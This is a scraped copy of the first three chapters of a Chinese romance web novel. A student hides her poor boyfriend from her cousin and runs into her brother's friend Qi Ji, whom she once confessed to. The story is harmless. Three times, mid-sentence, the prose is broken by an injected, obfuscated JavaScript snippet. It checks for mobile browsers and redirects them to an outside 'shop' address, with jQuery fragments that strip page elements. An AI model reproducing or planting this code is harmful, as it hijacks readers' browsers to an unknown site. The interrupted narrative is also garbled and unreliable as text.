《招惹哥哥的朋友后》 1. 第 1 章 “三!” “二!!” “一!!!” 跨年夜,河堤广场边聚集了上万人进行新年倒数,在最后一个数字声势浩大喊完的刹那,广场大屏骤然暗了下来。 与此同时,天边亮起了一抹光。 广场上随之爆发出一阵惊呼。 “快看!又是哪个有钱人在表白了吧!” 数百架无人机徐徐升空,贴着云层掠过,在夜幕上划出了细碎的光痕。 渐渐的,那光痕开始收缩,聚拢,边缘的无人机缓缓向外延伸,勾勒出一道流畅的弧线,中间的无人机层层叠叠,填充出了饱满的轮廓。 几秒后,一个由数百光点构成的巨大爱心悬停在了夜空中。 寂静的河堤另一岸,祁迹的影子被拉得颀长。高挺的眉骨下,一双乌黑瞳仁深深望着对面的人。 暖色的光晕映照在岑似宝明艳的脸上,长而密的睫毛投下浅浅的阴影。 “祁迹,特意为你准备的,惊喜吧?”那对杏眼在平时眼尾会微微上挑,此刻却得意地弯成了两轮月牙,嫣红的唇瓣笑得张扬。 他再度抬眼,看着空中那颗心微微摇摆,灯光也随之忽明忽暗,好像一颗真正在悸动着的心脏。 祁迹嘴角浮出了一丝笑意。 “等我回来……” 沉沉的嗓音让岑似宝的心脏猛地一跳,下一秒睁开了眼。 她正躺在宿舍的床上。 午睡睡得天昏地暗,一时忘了时间。岑似宝懊恼地拍了下自己的额头,将刚才的梦抛在脑后。 从那晚过后,岑似宝就没再见过祁迹,这还是第一次梦到他。 她有点不爽,打开手机,决定随机找个冤大头出气。 一月到来,市里迎来了新年第一场雪,城郊四五百平的废弃厂房也迎来了新的归属。 室外停车场上的雪被扫得干干净净,伯乐画廊的崭新牌子高高挂起。 车子由专人去泊,一群人笑着交谈,走进了大门。 “怎么选了这么个破地方。”蒋飞扬嫌弃地望了一圈灰色的混凝土立柱和弧形穹顶。 薄乐迎面走来,热情地跟他拥抱了一下,才说:“我乐意。还有,什么叫破地方,这叫工业记忆,我要的就是这风格!” 他扬了扬下巴:“虽然看着破,但是动线设计都精确计算过,所有作品都能处在你视野的黄金分割点上。” “哟。” 一旁的岑量停下脚步,认认真真打量起墙上一副灰暗色调的画,皱眉,扭头:“这个林子深的画,到底怎么火起来的?我妹最近也喜欢他。” 薄乐一笑:“不懂了吧,悲情叙事是永恒的流行主题。” 岑量两手抱怀,睨他了一眼:“少来,恐怕背后少不了你这个‘伯乐’做推手。” 薄乐轻哼一声,略过这个话题,“你刚才说咱妹妹喜欢林子深?怎么不早说,我送她啊。” 岑量摇了摇头,“她这个人,不管喜欢什么,永远是三分钟热度。”又想了想,“多弄几幅。” 薄乐比了个OK的手势,“也别都光顾着看啊,给我提点儿建议,我这回是认真的。” 说完,他看向另一个同样在仔细看画的男人,“咦,祁迹,你也喜欢林子深的画?” 众人的视线顺势望向了站在墙边的男人。 他一向不爱凑热闹,随便站着都像一幅丹青,跟他们天然不在一个图层。 今天也不知道为什么,太阳打西边出来了,竟然破天荒应了薄乐的约,出差刚回来,一下飞机就来了这儿。 他轻笑一声:“不是我。” 薄乐撞了撞他的肩膀:“哎对了,现在不是都流行数字化吗,祁总,回头也帮我搞一个。” 闻言,祁迹收回了视线,没说话,神色淡淡伸手,掸了掸肩头被撞到的地方。 薄乐看他的动作,被气笑了,“祁迹,你又来这一套,行行行,我给钱,又不让你白做工。看着光风霁月一人,实际还是个万恶的资本家。” 话音落下,岑量的手机响了。 众人瞥了眼屏幕,来电显示只有三个字:小祖宗。 他没有避让,笑着划开,语气没什么好气:“又有什么指示了?” 电话那头说了几句。 “行,不就林子深的画,我给你弄,但是也有条件。” 他表情严肃起来:“你最近是不是谈恋爱了?” 祁迹目光一顿。 “什么线人,我哪儿来的线人。”岑量嘴角扯了扯:“你发朋友圈忘屏蔽我了。” 电话那头音量陡然高升的不可思议,就连身旁的几人都能隐约感受到。 “赶紧给我分手,不合适。” “还哪方面,哪方面都不合适。” 没说两句,对面就率先挂断了电话。 薄乐凑上前:“咱妹妹?” 岑量抬眼:“是我妹妹。” “都一样。” 祁迹突然出声:“岑似宝?” 岑量有些意外,“你认识?怎么认识的?” 他基本不怎么让岑似宝跟身边的朋友接触。 祁迹颔首:“岑衡。” “哦对,差点忘了,你跟岑衡关系好。” 祁迹的语气没什么波动,却带着点奇异的冷:“谈恋爱?” 岑量头疼起来,“是啊,今天才刚看见她朋友圈发的聊天记录,对方好像还是个穷小子,一直没功夫找她谈呢。” 他长出一口气,“估计她爸妈也不知道这事儿,还有她亲哥,岑衡,得亏是现在不在市里,要是被他知道,离第三次世界大战也不远了。” 蒋飞扬唏嘘:“我看你这堂哥操的心,也不比她亲哥少了。” 薄乐笑嘻嘻揽上他肩膀:“别人不靠谱,我靠谱啊,你介绍介绍我。” 一群人笑了起来。 唯有祁迹面容隐在暗处,眼瞳越发深黑,垂眸不知在想什么。 岑量冷哼一声:“去你的,放眼这群人里,也就祁迹正派点,至于你,还是算了吧。” 说完想了想,看向祁迹:“不过祁迹肯定不喜欢我妹这种类型,也就他跟我妹接触,我能放心点。” 祁迹抬头,与他对视一眼,唇角一勾,尽显正派。 楼上洗手间里,丁耀光握着手机,正要打电话,有人来了。 他一抬头,是薄乐。 他脸色有些不自然,犹豫了一下,还是报备道:“那个,老板,我想让我女朋友也来看画展,她挺喜欢林子深的。” “行啊。”薄乐大方道:“最近事儿多,耽误你跟女朋友约会了吧?回头给你批几天带薪假,奖金加倍。” 丁耀光点头:“谢谢老板了,不过还好,她挺懂事的,从来不跟我闹。” 薄乐笑了笑,伸手到水龙头底下,水流如注,“那你可得好好珍惜了。” 难得跟老板说起生活上的事,他不自觉多说了一些,“嗨,未来怎么样还不一定呢,我们都还年轻。” “我虽然挺喜欢她的,毕竟长得漂亮,又不闹我,但她家境不太好。” “听她说是父母没了,只跟哥哥相依为命,所以我也有点顾虑。毕竟我家条件不是很好,未来买房什么的,还是希望女方家庭可以多点助力。婚姻大事,还是得好好考量的。” 薄乐若有所思看了他一眼,没再说什么,洗完手,出去了。 岑似宝挂断跟岑量的电话后,立刻飞速翻开朋友圈,果然。 家里人多,设置分组的时候偏偏漏了岑量,铸成了大错。 她也就是昨天晚上跟丁耀光聊天的时候,他有些委屈地提起,她一直没有公开他,直到早上突然想起这件事,才随手发了个朋友圈。 没想到,偏偏被岑量看到了。 岑似宝手指戳着屏幕,懊恼地将他拉入了分组。 随后纠结了两秒,眉眼又舒展开了。 不是什么大事,只要多请他吃几顿饭,岑量就会开心得不得了,什么事都会答应她的。 岑似宝愉快地打开游戏,可手机却突然震动了一下。 她眉心微蹙,但见到是丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016298|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耀光打来的电话,还是接了起来。 “宝贝,你昨天晚上不是说,喜欢林子深的画吗?” 岑似宝想到岑量不久前承诺给她的画,弯了弯眼,“是啊,怎么啦?” “跟你说过的,我老板最近开了个画廊。他那个人,就爱瞎折腾。” “今天是私洽预展,来的都是核心藏家,还有我老板的朋友们,一般人进不来的。”丁耀光的语气带着不着痕迹的优越感:“但我可以带你进来看看,顺带长长见识。” 岑似宝丝毫没听出他语气的不对,“是吗?这么厉害。” 丁耀光很受用,嘴角一扬,“还有就是,前段时间太忙,忽略了你,刚好今天晚点能稍微喘口气了,就当做是约会了。” “好啊,我这就过去。” “嗯,我已经跟老板说过了,你就直接进来,然后坐电梯到三楼找我。” 挂断电话,岑似宝高高兴兴去换衣服了。 身后,室友张曼神情复杂发问:“小岑同学,你正在跟那个丁耀光谈恋爱?” 岑似宝的手指在衣柜里划过,挑出了一条黑色的裙子,“对呀。” “他知道你家境特别好吗?” 岑似宝想了想,“知道啊,我跟他说过的。我知道你要说什么,丁学长不是你想的那种人,他这人特别好。” “说出来你都不信,他从来没有问我要过什么东西——就跟不知道我有钱似的。” “多好的人啊。” 张曼欲言又止:“算了,你开心就好。” 她看岑似宝这一个礼拜,就没有一次主动打过电话给丁耀光的,每天除了上课,呼朋唤友,好不快活。 她完全看不出她哪里喜欢丁耀光了。 不过接到电话倒是挺开心的。 但问题是,她接谁的电话都这么开心。 看着岑似宝靓丽的背影,她探出头来:“哎,小岑你多穿点啊,外面很冷的。” 岑似宝出了校门,坐上车,直奔丁耀光发来的地址而去。 只是没想到那画廊的地址这么偏,加上雪天路滑,路上特别堵,耽搁了好久才到。 刚急急下车,她就又接到了岑量的电话。 此时,一群人正站在电梯前,准备上楼。 祁迹又提起了岑衡。 这提醒了岑量,他思来想去,觉得还是得赶在岑衡回来之前,彻底摆平岑似宝的问题。 电话很快通了,他严肃道:“小宝,你今天晚上回家一趟。” 岑似宝完全没有耐心听他讲电话,随口糊弄:“哎呀哥哥,马上就要上课了,我正忙着呢!” “不能跟你说了,别耽误我学习!” “喂?你等会儿——”岑量看着已经停止通话的屏幕,哑然:“算了。” 身旁一群人笑成一片:“似宝妹妹真是厉害。” “也就你妹,敢这么三番四次挂你电话了。” 收起手机,岑量跟其他人一起走进了电梯。 岑似宝在门口登记了身份,果然没有人拦。 画廊里人很少,她被这原始的装修风格惊了一下。 想着先去找丁耀光,她没顾着欣赏画,寻找起了标识,很快便找到了电梯。 岑似宝一路直奔电梯,发现其中一座电梯门恰好正要闭合,连忙高喊了声:“等一下!” 好在门里有人及时摁了开门键,电梯门停住,接着再度打开,隐隐可见里头站了很多人。 岑似宝松了口气,急匆匆冲进了电梯,站定。 几片雪花在黑色裙摆上晕开,她垂眸理了理。 周围是一群西装笔挺,长相不俗的精英人士,正齐齐望着她看。 岑似宝眼睫微抬,习惯了别人的注视,没太在意,脆生生说:“谢谢了。” 她直起身,又拍了拍肩头的雪。 再一抬脸,却跟一双熟悉的眸子对上了,顿时一僵。 岑量眯起眼,“岑似宝,刚才不是说,要上课去的吗?” 他扫了眼电梯对面的画:“美术课啊?” 2. 第 2 章 岑似宝真没想到,丁耀光的老板,居然恰好就是岑量的朋友。 谎言被拆穿,她一时语塞。 脑子飞快转动,岑量本来就要她分手,现在可不能让他看见丁耀光。 顿了顿,她含糊着说:“不是的,我就是听说,这里有林子深的画展,所以过来看看。” 岑量眼中含着怀疑看向她:“那你怎么不告诉我?你平时出门,不是都得找人陪着的吗?” 岑似宝再度语塞,“也没有每次吧。” 电梯里的其他人应该都是岑量的朋友,全都饶有兴致地看着她。 感受到其中一道极具存在感的视线,她抬头看去,是刚才给她摁开门键的男人,眉眼深邃,笑中好似带着深意。 看清那人,岑似宝又是一顿,想到下午的梦,眼神游移。 薄乐走上前,笑眯眯地打圆场说:“好了岑量,你就别再盘问了,人家好歹也是个成年人了,得有点儿个人空间吧。” 岑似宝连连点头:“就是。” 岑量皱眉,严肃道:“这破画廊这么远,荒郊野外的,外头还下着雪,马上又要天黑了,你一个小姑娘大老远跑到这里,我还不能问问了?” 见岑似宝丧气地垂下头,他还是缓和了语气:“吃饭了吗?” 岑似宝飞快摇头。 薄乐立刻说:“那还看什么画啊,走,出去吃饭去。我是你哥朋友,早听说过你了,还是第一次看到真人呢,必须庆祝一下。” 他斜了眼岑量:“你哥防我防得,能进NBA最佳防守阵容。” 岑量将他与岑似宝隔开,手肘用力捣了一下他,“我进攻能力也特别强,要不要试试?” “你这是恶意犯规好吗。” 出了画廊,岑似宝亦步亦趋跟着岑量坐上了车。 身后一大帮人争着也来到了他车前,岑量不耐烦:“自己没开车吗?” “共乘一辆,更环保。”蒋飞扬一本正经说。 “滚。” 最后还是没能挡住薄乐,蒋飞扬,还有祁迹上了他的车。 前两个是死皮赖脸上车的,最后一个是恰好车坏了,刚联系了人来拖车。 岑量本来想在车上问问岑似宝谈恋爱的事,见现在人多,只好按下不提。 当然,也没他问话的空间,蒋飞扬跟薄乐对岑似宝格外好奇,问了她一大堆问题,从喜欢吃什么,到在学校上的什么课。 到最后,车上只有他跟祁迹清净。 他透过后视镜看了眼正望向窗外,看起来对几人的对话毫无兴趣的祁迹,再一次肯定了自己的判断。 果然只有祁迹可以让他放心。 岑量一行人带着岑似宝来到了蒋飞扬家开的餐厅,这儿是新开的,离岑似宝的学校远,她还没来过。 餐厅几乎坐满了,蒋飞扬打了声招呼,服务员带他们进了提前留好的包间。 岑似宝磨磨蹭蹭走在了最后,祁迹却还要慢一步,在她身后,瞥了眼她黑色裙摆下的一截光洁小腿,转过头,低声跟服务员说了句话。 服务员应声走了出去。 其他人没坐,等岑似宝随便挑了个座位,岑量顺理成章地坐在她身侧。 薄乐原本打算坐在她另一边,祁迹却已经落座,他抬头看了眼,祁迹的表情泰然自若,好像也是随便选的。 不做他想,薄乐在祁迹身旁坐了下来。 岑似宝悄悄瞥了眼祁迹,脊背挺直,翻看起菜单。 蒋飞扬待了会儿,解开衣领扣子,怪道:“我怎么感觉,这包间的空调温度打得比平时高了。” 一旁的陈年:“要不我叫服务员调低点?” 岑量看向岑似宝:“你热吗?” 她抬头摇了摇,“我觉得温度正好啊。” “那就不调。” 岑似宝正选着菜,突然手机传来了震动声,她低头瞥了眼手机,是丁耀光打来的。 她状似不经意地看了眼左边的岑量,又看了眼右边的祁迹,他们都正跟其他人说着话,没在看她。 她先将电话挂断,刚准备发条消息给丁耀光,身旁祁迹慢悠悠开口:“怎么不接电话?” 岑似宝做贼似的手忙脚乱收起手机,猛地抬头,祁迹靠着椅背,正在听蒋飞扬讲话。 她不自在地低声回:“只是个骚扰电话。” 随即便起身,在岑量投来的疑问视线中,支支吾吾说:“我想去外面洗个手。” 岑量皱眉:“包间里不就有洗手间?” 岑似宝结巴了一下:“我,我就想去外面的,透透气。” 岑量猜测可能是这里陌生人多,她不好意思,于是没再问,只是起身,推开椅子,“认识路吗?我带你去。” 岑似宝压低声音喊:“哎呀不用,我又不是小孩子了。” 在她百般推辞下,岑量才重新坐下,又看着岑似宝绕了一大圈。 明明祁迹那边离包间门更近,她却偏偏要从岑量那边过去。 奇怪地看了眼端坐的祁迹,岑量琢磨了一下:“我怎么突然感觉,我妹有点怕你呢?” “有吗?”祁迹举杯,喝了一口茶:“大概是心虚吧。” 岑量一愣,没听太清,凑过去问:“你刚才说什么?” 祁迹笑着摇了摇头。 薄乐也笑着凑了过来:“我也觉得似宝妹妹有点怕祁迹,是不是因为,太‘正派’了?” 对面的陈年走了过来,拿出盒烟,讨好道:“祁哥,岑哥,薄哥,要不要出去抽两根?” 他与这帮人的圈子没有那么亲近,是靠蒋飞扬的关系带进来的,因此一直上赶着套近乎。 岑量瞥他一眼,摇了一下头,“早戒了。对了,我在的时候,你们也不许抽。” 陈年堆笑道:“哟,岑哥这是交女朋友了啊?但是这是在外头,没事儿的,咱大老爷们儿,不能被女人管得太紧。” 岑量皱眉,没去搭理他,只是说:“小宝最近在家里当禁烟大使呢。” 闻言,桌上其他人视线都望了过来。 岑量扬了扬下巴:“上回她在网上看新闻,看到有个老烟枪,五十多岁就肺癌去世了,怕得不行,回来严令禁止家里任何人抽烟。” “别说看见了,就是回家的时候,闻到身上有别人抽烟沾到的一丁点儿味道,批判半小时都是轻的。” 他们家的人都不常抽烟,更没有瘾,但看她煞有介事的模样,反倒会在她面前装作拿烟逗她。 为此她还经常小发雷霆。 岑量话语嫌弃,嘴上却笑着:“这活宝,天天在群里发些肺癌患者的肺部切片图,还专挑饭点儿发,还要定期检查,不许我们屏蔽群,这谁还抽得下。” “你们谁要是想戒戒不了,我可以把图片转发给你们。” 薄乐看不过眼,推了推他:“行了,别炫耀了,照照镜子吧,你那嘴角,都快咧到天上去了。” 岑似宝走出了包间,就给丁耀光发了条消息:暂时有点事,我还是改天再去看吧。 丁耀光立刻打来了电话,她犹豫了一下,还是接起来了。 那头的声音有些不满:“到底什么事儿啊?很重要吗?我都等你很久了,刚才给你打电话怎么也不接?” 岑似宝回头张望了眼,“也没什么,是我哥找我吃饭。” “哦,不过,你之前不是说你哥出国打黑……打工去了吗?”丁耀光的语气微妙,“他回来了?这么快?” 他还以为她哥再也回不来了。 毕竟之前听岑似宝的语气,他能猜到,她哥是偷渡出去的。 岑似宝紧张地看着包间门,没怎么听他说话,“不是,离他回来还早呢,是我另一个堂哥。” 丁耀光点点头,果然回不来了。 他怜悯道:“这样啊,那你哥还挺多的。” “也还好吧,堂哥就这一个,表哥有两个。” 丁耀光暗自记下,接着试探:“那,你爸妈两边的亲戚,现在有管你们兄妹俩的生活开销吗?” 岑似宝听得有些茫然:“没有啊。” 丁耀光又是一声叹息,也是,要是会管的话,她哥也不至于偷渡到国外去打黑工了。 “好了,就这样吧,我老板出去吃饭了,既然你不来,我也先下班了。” 岑似宝原本想跟他说声,他老板跟她堂哥是朋友,叫他不要露馅,但转念一想,这样还得跟他解释岑量叫她分手的事,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016299|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没提。 “那再见。” 说完岑似宝就利落地挂断了电话。 做戏做全套,她随后便去了洗手间,路上与一个孕妇擦肩,她小心避让。 走出洗手间,她鼻尖微动,闻到了一股呛鼻的烟味。 瞥了眼前方加速通过的孕妇,她直接走过转角,果然在走廊的窗前看到了两个正在抽烟的男人。 包间里,岑量看了好几次表,皱眉,“小宝怎么还没回来?” 薄乐插了句嘴:“妹妹不会真迷路了吧?毕竟以前没来过。” 岑量正要起身,发现旁边的祁迹不疾不徐已然朝着门边走去了。 他有些诧异,但也没多想,板着脸看向薄乐:“都跟你说过了,她是我妹妹。”我字加重。 “知道知道,你急什么。” 岑量和祁迹一走,包厢里其他人也兴致勃勃跟了出去,一同找人。 走廊里,岑似宝眯起眼,瞧了瞧夹着烟的两人,走上前去,清亮出嗓:“两位先生。” 他们转过来,她热情地问:“需要我为你们叫两辆轮椅来吗?” 二人一懵,“叫什么轮椅?” 岑似宝微笑:“餐厅应该会为盲人提供轮椅的啊。” 他们脸色倏然一变,“怎么说话呢你?说谁是盲人啊!” “咦,你们不是盲人吗?” 岑似宝指着墙边不远处的一个禁烟标识,笑容一下子消失了: “要是看不懂中文,底下还配了英文。要是阅读障碍,上面也有图片。一个都看不懂的话,不是盲人,难道是智障?” 对方一噎,随即冷哼一声,“看得懂图,我们就、抽,怎么了?” 岑似宝点了点头,“哦,还是逆反型人格呢——你们可千万别从这儿跳下去。” 他们又是一噎,“不是,抽根烟你也管,还禁起烟了,你林则徐啊你?” 岑似宝嘴角一勾,甩了下浓密的秀发:“那正是我最近新得的外号。” 两人:“……” 他们威胁性亮了亮拳头:“你少多管闲事!” 岑似宝昂着下巴,依然张扬道:“你们在不该抽烟的地方抽烟,味道呛到我了,二手烟危害我的健康了,烟灰掉到地上,污染我的眼球了,我凭什么不能管?” 男人嘿了一声,“我们就喜欢烟味,就喜欢烟灰,你管得着吗?” 她纤细的手指一竖:“要是我现在不管,你们今天敢在餐厅里抽烟,明天就敢在加油站抽烟,后天就敢在面粉厂抽烟,社会危害性极大。” 说罢,她语气缓了缓,“不过我也理解,有时候瘾上来了,是很难克制的,所以你们要是实在憋不住想抽——” “我建议你们还是去焚化炉里抽吧,那儿温度正好,烟味大,灰还多。”她两手一拍:“你们的梦中情地啊!” 不远处,蒋飞扬憋着笑,“岑量,我终于理解,你为什么说你妹的性格一般人招架不住了。刚才见到她我还纳闷,这不是挺乖一小妹妹嘛,合着刚才是特意收着了啊。” 岑量无奈地摇了摇头。 而岑似宝面前的两个男人被她连珠炮般刺了一通后,上下打量了一下她,在她的脸上多停顿了几秒,突然一对眼珠转了转,改口:“行,不抽了。” 说完掐灭了烟,看向岑似宝,嘿嘿一笑:“妹妹,你刚才说得太对了,你真是太有意思了,哥哥简直跟你一见如故,要不我们出去,去外头找个地方,再深度聊一聊抽烟的坏处?” 看着对面人高马大,不怀好意的两个男人,岑似宝警惕地后退了一步,“管谁喊妹妹呢?” “我的天,你俩长成这样,还想冒充跟我有血缘关系?羞辱谁呢?” 对面的男人脸都被气得扭曲了一下,干脆伸出手来想要抓她。 岑似宝慌乱地一退再退,突然撞上了一个宽阔的胸膛,退不动了。 而朝她抓来的那只手也随之停在了半空中。 她仰头一看,头顶祁迹垂眸看了她一眼,眼中含着薄怒,一只手还抓着那男人的手腕,力道之大,疼得他反拧着胳膊嗷嗷叫。 他身旁,岑量阴沉着脸,挽起了袖子:“两位,打算带我妹妹去哪儿啊?” 3. 第 3 章 被控制住双手的两人望了一圈,左手祁迹,右手岑量。 再后头,还站着数个面色不善的高大男人。 岑似宝已经躲到了祁迹身后,得意洋洋哼了一声。 意识到踢到铁板了,二人痛苦的表情更加痛苦,但还是连声道歉:“误会误会,都是误会啊,我们其实没想做什么,就是交流一下,交个朋友。” “对,因为我俩……打小就是林则徐的粉丝。” 岑似宝露出头来:“又把人当傻子啊?” “我们说的都是真的!” 蒋飞扬走上前,扬了扬下巴,“毕竟是我的地盘,这两个就交给我处理吧。” 薄乐关心地看向岑似宝:“似宝妹妹没事儿吧?吓着没有?” “放心吧,没有。”岑似宝摇头。 唯独岑量没有说话,用一种诡异的眼神看着岑似宝,更准确地说,是看她还在紧紧抓着祁迹衣角的手。 岑似宝也意识到了不对,二话不说松开手,走到岑量身边,抓住了他的衣角,仰脸笑了笑。 她一套流程做完,岑量紧锁的眉眼才松了开来,“你自己哥在这儿呢,跑去别人身边?” 岑似宝小声说:“刚才情况危急,他离得更近而已。” 祁迹看了眼衣摆的褶皱,未置一词。 “下回别这么冲动,”岑量担心地絮叨,“万一我们不在怎么办?” 岑似宝小步跟在他后头,“就是知道你们在,我才放心大胆地冲动啊。” “他们还没碰到我一根手指头,你们就来了,时机刚、刚、好。”她鼓鼓掌。 “你还笑。” 回到包间,岑似宝总算吃完了一顿安生饭。 旁边的祁迹把玩着手机,没去看她。 翻到朋友圈,果然没有看见岑量说的,暴露岑似宝谈恋爱的动态。她要么是也屏蔽了他,要么…… 祁迹找到了岑似宝的账号,很快便发现,她是把他删了。 拉黑还带有赌气成分,但是直接删除好友,意味不一样。 岑似宝余光里,那块突出的腕骨一动,手指不轻不重将手机倒扣在了桌上。 直到吃完了饭,两人也没有说上一句话。 他没有看岑似宝,岑似宝便也克制住自己的视线,没有再看他一眼。 “走吧,回家。”岑量将外套递给岑似宝。 “我不回家。我回寝室。”她不傻,选择回家,他再一拷问,其他家庭成员也知道了。 岑量皱眉:“怎么这么喜欢你那破寝室。” “你家才破呢。”岑似宝反驳。 “你下午骗我的事儿还没跟你算账呢,你这段时间应该已经没什么课了吧?干嘛还总待在学校?就为了谈恋爱?” 岑似宝啧啧两声:“岑量,真看不出来,你还是个恋爱脑。” 岑量:“……你还倒打一耙上了。” 岑似宝说什么都不要回家,岑量也只好将她送回学校。 上了车,他及时将车门锁上,看着窗外不得不止步的好友:“送她回学校,跟你们不顺路,自己想法子回去,别蹭我车,聒噪得要命。” 薄乐气得从地上团起一团雪就朝着离开的车屁股砸去,但岑量早有预料,一个摆尾,躲过了雪球。 岑似宝趴在窗边,看着他们笑:“下回当着他面丢!” 薄乐感慨又羡慕:“笑得可真甜啊,可惜我爸妈没给我生个妹妹。” 蒋飞扬坏笑:“回去跟你爸妈说说,现在再生也来得及。” “得了吧,也不一定能生出这么可爱,这么乖的妹妹。是吧,祁迹。” “乖?”祁迹细品,笑了一下。 车上,岑似宝嘴角耷拉着,刚才的甜笑完全消失了。 岑量正在苦口婆心地劝说她分手。 “我看你的朋友圈截图,那人说什么,想送你个礼物,打算从现在开始攒钱,等攒够了钱就送你?” 岑似宝:“怎么了?不许人家攒钱?” 岑量气不打一处来,恨不得敲敲她的脑门:“这都不明白?八字还没一撇,他现在说出来什么意思,提前预支感动是吧?而且你还拒绝了?” “现在社会上的心机男太多了,专门骗你这种不谙世事的小姑娘,其实就是看中了你的钱和你的背景,把你当跳板,根本不是真心的,知道吗。” “我又不缺礼物。”岑似宝捂住耳朵:“你这是偏见,人家是比较穷,但是什么东西都没跟我要,也从没有问我家产多少,还关心我哥跟我的生活费呢。” 岑量沉默了一瞬:“关心什么玩意儿?” 她放下手,扯了扯安全带,“总之,我有我的判断力,你们能不能不要干涉我的决定。” 红灯前,岑量透过后视镜看了眼她的表情,声音低了下来,“真喜欢这个人?” 岑似宝顿了顿,点了一下头。 他叹了一声,“先不说我,你另一个哥那关呢?” 她唰得抬头:“先别告诉我哥!” “哼,看来你也知道,他比我更难缠,你从小就更听他的话。”岑量语气泛酸。 岑似宝讨好地凑了上去:“你们都是特别好的哥哥,不分高低的。不过离他出差回来还有好一段时间呢,我这恋爱都不知道能不能谈那么久,就不要让他那个大忙人操心了。” 岑量退了一步,说:“行,那你把那个哆啦A梦的照片,还有个人信息发我一份,我查查人品怎么样。” “哆啦A梦?”岑似宝歪头:“你说谁?” 他阴阳怪气:“你男朋友啊,穷得叮当响,小叮当,不就哆啦A梦。” 岑似宝:“……你不用一直强调这一点的。” 岑量接着开车,拉长了语调:“快——点。” “哎呀你又来这一套,就不能放开手,让我独立一下吗?我会保护好自己的,你得尊重一下我和别人。” “还不是你的眼光不靠谱,你要是喜欢祁迹那样的,我也不会这么担心。祁迹知道吧?饭桌上,坐你右手边的那个。” 岑似宝声音小了一些,“知道。” 岑量打着方向盘,“不过他这个人的心思淡,也就对工作感兴趣。” 所以刚才的包间里,一圈人争着跟岑似宝介绍自己的时候,只有祁迹老神在在坐着,没出声。 岑似宝没敢说,他不出声,其实是因为用不着介绍。 一路上,岑量被她威逼利诱,说得口干舌燥,终于答应暂时不告诉岑衡,也答应再等一个月,如果到时候两人还没有分手再说其他。 随后岑量又从她的感情,问到了她实习的打算,等下了车,岑似宝快掉了一层皮。 张曼正好从外面回来,在宿舍区门口看到了她,准备跟她一起上楼。 透过车窗,张曼拘谨地跟岑量打了声招呼,岑量表情柔和:“多谢你平时照顾小宝了,她这个人爱惹麻烦,你多担待。” 她摆摆手:“没有没有,小岑一点都不麻烦,我还沾了她不少光呢。” 岑量望向岑似宝,板起脸:“记着我的话,注意点那个哆啦A梦。” 岑似宝不耐烦:“知道了,你快点走吧。” “什么哆啦A梦?”张曼疑惑。 岑似宝跟她往回走,解释了一下来源。 张曼笑得不行,“这个称号还真够贴切的,看不出来,你哥这么幽默,我本来还有点怕他。” 岑似宝撇撇嘴,“他有什么好怕的,唠叨。” “那是因为你跟他熟,反正我觉得他挺吓人的。对了,你亲哥更吓人,面无表情的样子,感觉随时会掏出一挺机.关.枪,把所有靠近你的坏人都给突突了。” 岑似宝笑得前仰后合。 张曼很喜欢跟岑似宝相处,但是最怕见到她哥,他们对待除了岑似宝之外的人,即使笑着也总透着股疏离。 回到寝室,张曼才继续说:“不过,我也想说,你就这么答应了丁耀光的追求,其实是有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016300|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草率了,你之前不是有喜欢的人吗?” 岑似宝甩了甩手,浑不在意:“是有啊。” “你表白失败了?”张曼是知道她搞了场大阵仗告白的,不过后来没听她提起过,感觉不妙,她就没敢问。 岑似宝目光闪烁,吞吞吐吐:“好像,也不算是失败。” “那为什么?” “我觉得,那个人不够喜欢我。” 想到席间祁迹看都不看她,一副毫不在意她动向的姿态,岑似宝就又是冷笑一声,更加坚定了自己的想法。 她认真地抬起了头,“从小到大,我爸妈、哥哥,还有家里所有的人都告诉我:我是最好的,也值得最好的。” “所以,我是不会为了一个不够喜欢我的男人,浪费一点时间、多花一点心思的,更不会去祈求他的垂怜。” 张曼怔了一下,随后朝着她竖起了一个大拇指:“清醒。我辈楷模。” 转过身去想了想,她又转了回来:“不过,你又是怎么判断他不够喜欢你的呢?” 岑似宝正要说话,手机突然收到了一条信息。 “我在楼下。” 发送人是一个陌生号码。 但仅从这语气,她就可以想象出对方从容不迫的模样。 张曼看她表情怪异,问:“谁啊?” 岑似宝没回,慢慢走到窗边,挑起了窗帘。 男性无法进入女生宿舍区,不过她们这栋宿舍楼就在大门边上,轻易便能看到楼下站着的一道高挺背影。 似有所感,那身影转过了身。 张曼凑到她身边,只在岑似宝飞快放下帘子的刹那看到了一身黑色大衣,和半张英俊的脸。 那是个陌生的脸孔,绝不是岑似宝的任何一个哥哥。 张曼想到什么,嘴角晕开了一抹笑,“这是谁啊?” 岑似宝脸上闪过一丝慌乱,随后又镇定下来:“没谁。” 她冷淡地回复了那条信息:?我好像不认识你吧 